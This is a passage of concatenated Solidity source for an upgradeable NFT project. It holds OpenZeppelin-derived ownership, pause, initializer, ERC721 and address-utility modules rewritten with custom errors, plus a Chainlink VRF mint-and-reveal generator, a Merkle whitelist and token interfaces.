`onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { if (newOwner == address(0)) revert Ownable_NewOwnerZeroAddress(); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ error Pausable_Paused(); error Pausable_NotPaused(); abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal onlyInitializing { __Pausable_init_unchained(); } function __Pausable_init_unchained() internal onlyInitializing { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { if (paused()) revert Pausable_Paused(); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { if (!paused()) revert Pausable_NotPaused(); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "./VRFConsumerBaseV2Upgradable.sol"; import "@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol"; import "../openzeppelin/proxy/utils/Initializable.sol"; error AccountHasPendingMint(address _account); error AcountHasNoPendingMint(address _account); error InvalidAccount(); error InvalidRequestBase(); error InvalidRequestCount(); error RevealNotReady(); abstract contract Generator is VRFConsumerBaseV2Upgradable { VRFCoordinatorV2Interface internal vrfCoordinator; bytes32 internal keyHash; uint64 internal subscriptionId; uint32 internal callbackGasLimit; struct Mint { uint64 base; uint32 count; uint256[] random; } mapping(uint256 => address) internal mintRequests; mapping(address => Mint) internal pendingMints; event Requested(address indexed _account, uint256 _baseId, uint256 _count); event Pending(address indexed _account, uint256 _baseId, uint256 _count); event Revealed(address indexed _account, uint256 _tokenId); /** * Constructor to initialize VRF * @param _vrfCoordinator VRF Coordinator address * @param _keyHash Gas lane key hash * @param _subscriptionId VRF subscription id * @param _callbackGasLimit VRF callback gas limit */ function __Generator_init( address _vrfCoordinator, bytes32 _keyHash, uint64 _subscriptionId, uint32 _callbackGasLimit ) internal onlyInitializing { __VRFConsumerBaseV2_init(_vrfCoordinator); vrfCoordinator = VRFCoordinatorV2Interface(_vrfCoordinator); keyHash = _keyHash; subscriptionId = _subscriptionId; callbackGasLimit = _callbackGasLimit; } // -- PUBLIC -- modifier zeroPending(address _account) { if (pendingMints[_account].base != 0) revert AccountHasPendingMint(_account); _; } /** * Get the current pending mints of a user account * @param _account Address of account to query * @return Pending token base ID, amount of pending tokens */ function pendingOf(address _account) public view returns (uint256, uint256) { return (pendingMints[_account].base, pendingMints[_account].random.length); } // -- INTERNAL -- /** * Update pending mint with response from VRF * @param _requestId Request ID that was fulfilled * @param _randomWords Received random numbers */ function fulfillRandomWords(uint256 _requestId, uint256[] memory _randomWords) internal virtual override { // Pop request address account = mintRequests[_requestId]; delete mintRequests[_requestId]; // Update pending mints with received random numbers pendingMints[account].random = _randomWords; // Ready to reveal emit Pending(account, pendingMints[account].base, _randomWords.length); } /** * Setup a pending mint and request numbers from VRF * @param _account Account to request for * @param _base Base token ID * @param _count Number of tokens */ function _request(address _account, uint256 _base, uint256 _count) internal zeroPending(_account) { if (_account == address(0)) revert InvalidAccount(); if (_base == 0) revert InvalidRequestBase(); if (_count == 0) revert InvalidRequestCount(); // Request random numbers for tokens, save request id to account uint256 requestId = vrfCoordinator.requestRandomWords( keyHash, subscriptionId, 3, callbackGasLimit, uint32(_count) ); mintRequests[requestId] = _account; // Initialize mint request with id and count pendingMints[_account].base = uint64(_base); pendingMints[_account].count = uint32(_count); // Mint requested emit Requested(_account, _base, _count); } /** * Reveal pending tokens with received random numbers * @param _account Account to reveal for */ function _reveal(address _account) internal { if (_account == address(0)) revert InvalidAccount(); Mint memory mint = pendingMints[_account]; if (mint.base == 0) revert AcountHasNoPendingMint(_account); if (mint.random.length == 0) revert RevealNotReady(); delete pendingMints[_account]; // Generate all tokens for (uint256 i; i < mint.count; i++) { _revealToken(mint.base + i, mint.random[i]); emit Revealed(_account, mint.base + i); } } /** * Abstract function called on each token when revealing * @param _tokenId Token ID to reveal * @param _seed Random number from VRF for the token */ function _revealToken(uint256 _tokenId, uint256 _seed) internal virtual; /** * Set the VRF key hash * @param _keyHash New keyHash */ function _setKeyHash(bytes32 _keyHash) internal { keyHash = _keyHash; } /** * Set the VRF subscription ID * @param _subscriptionId New subscriptionId */ function _setSubscriptionId(uint64 _subscriptionId) internal { subscriptionId = _subscriptionId; } /** * Set the VRF callback gas limit * @param _callbackGasLimit New callbackGasLimit */ function _setCallbackGasLimit(uint32 _callbackGasLimit) internal { callbackGasLimit = _callbackGasLimit; } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[45] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "@openzeppelin/contracts-upgradeable/utils/cryptography/MerkleProofUpgradeable.sol"; import "../openzeppelin/proxy/utils/Initializable.sol"; error WhitelistIsEnabled(); error WhitelistNotEnabled(); abstract contract Whitelist is Initializable { bytes32 internal merkleRoot; event WhitelistEnabled(); event WhitelistDisabled(); /** Whitelist contstructor (empty) */ function __Whitelist_init() internal onlyInitializing {} function whitelisted() public view returns (bool) { return merkleRoot != bytes32(0); } modifier whenWhitelisted { if (!whitelisted()) revert WhitelistNotEnabled(); _; } modifier whenNotWhitelisted { if (whitelisted()) revert WhitelistIsEnabled(); _; } /** * Checks if an account is whitelisted using the given proof * @param _account Account to verify * @param _merkleProof Proof to verify the account is in the merkle tree */ function _whitelisted(address _account, bytes32[] calldata _merkleProof) internal view returns (bool) { return MerkleProofUpgradeable.verify(_merkleProof, merkleRoot, keccak256(abi.encodePacked(_account))); } /** * Enable the whitelist and set the merkle tree root * @param _merkleRoot Whitelist merkle tree root hash */ function _enableWhitelist(bytes32 _merkleRoot) internal { if (whitelisted()) revert WhitelistIsEnabled(); merkleRoot = _merkleRoot; emit WhitelistEnabled(); } /** * Disable the whitelist and clear the root hash */ function _disableWhitelist() internal { if (!whitelisted()) revert WhitelistNotEnabled(); delete merkleRoot; emit WhitelistDisabled(); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "./IClaimable.sol"; interface ISerum is IClaimable { function mint(address _to, uint256 _amount) external; function burn(address _from, uint256 _amount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; interface IMetadata { function tokenURI(uint256 _tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.13; interface IBlueprint { function mint(address _account, uint256 _seed) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ error ERC721_QueryOnZeroAddress(); error ERC721_QueryForNonexistentToken(uint256 tokenId); error ERC721Metadata_QueryForNonexistentToken(uint256 tokenId); error ERC721_ApprovalToCurrentOwner(address owner); error ERC721_CallerNotOwnerOrApproved(address caller); error ERC721_TransferToNonReceiverImplementer(address to, uint256 tokenId); error ERC721_MintToZeroAddress(uint256 tokenId); error ERC721_TokenAlreadyMinted(uint256 tokenId); error ERC721_TransferFromIncorrectOwner(address from, address expected); error ERC721_TransferToZeroAddress(uint256 tokenId); error ERC721_ApprovalToCaller(address caller); contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal onlyInitializing { __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal onlyInitializing { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { if (owner == address(0)) revert ERC721_QueryOnZeroAddress(); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; if (owner == address(0)) revert ERC721_QueryForNonexistentToken(tokenId); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { if (!_exists(tokenId)) revert ERC721Metadata_QueryForNonexistentToken(tokenId); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); if (to == owner) revert ERC721_ApprovalToCurrentOwner(to); if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) revert ERC721_CallerNotOwnerOrApproved(_msgSender()); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { if (!_exists(tokenId)) revert ERC721_QueryForNonexistentToken(tokenId); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length if (!_isApprovedOrOwner(_msgSender(), tokenId)) revert ERC721_CallerNotOwnerOrApproved(_msgSender()); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { if (!_isApprovedOrOwner(_msgSender(), tokenId)) revert ERC721_CallerNotOwnerOrApproved(_msgSender()); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); if (!_checkOnERC721Received(from, to, tokenId, _data)) revert ERC721_TransferToNonReceiverImplementer(to, tokenId); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { if (!_exists(tokenId)) revert ERC721_QueryForNonexistentToken(tokenId); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); if (!_checkOnERC721Received(address(0), to, tokenId, _data)) revert ERC721_TransferToNonReceiverImplementer(to, tokenId); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { if (to == address(0)) revert ERC721_MintToZeroAddress(tokenId); if (_exists(tokenId)) revert ERC721_TokenAlreadyMinted(tokenId); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { if (ERC721Upgradeable.ownerOf(tokenId) != from) revert ERC721_TransferFromIncorrectOwner(from, ERC721Upgradeable.ownerOf(tokenId)); if (to == address(0)) revert ERC721_TransferToZeroAddress(tokenId); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { if (owner == operator) revert ERC721_ApprovalToCaller(owner); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert ERC721_TransferToNonReceiverImplementer(to, tokenId); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[44] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/utils/Initializable.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "../../utils/AddressUpgradeable.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To initialize the implementation contract, you can either invoke the * initializer manually, or you can include a constructor to automatically mark it as initialized when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() initializer {} * ``` * ==== */ error Initializable_AlreadyInitialized(); error Initializable_NotInitializing(); abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { // If the contract is initializing we ignore whether _initialized is set in order to support multiple // inheritance patterns, but we only do this in the context of a constructor, because in other contexts the // contract may have been reentered. if(_initializing ? !_isConstructor() : _initialized) revert Initializable_AlreadyInitialized(); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} modifier, directly or indirectly. */ modifier onlyInitializing() { if (!_initializing) revert Initializable_NotInitializing(); _; } function _isConstructor() private view returns (bool) { return !AddressUpgradeable.isContract(address(this)); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; /** * @dev Collection of functions related to the address type */ error Address_InsufficientBalance(uint256 balance, uint256 amount); error Address_UnableToSendValue(address recipient, uint256 amount); error Address_CallToNonContract(address target); error Address_StaticCallToNonContract(address target); library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { if (address(this).balance < amount) revert Address_InsufficientBalance(address(this).balance, amount); (bool success, ) = recipient.call{value: amount}(""); if (!success) revert Address_UnableToSendValue(recipient, amount); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as 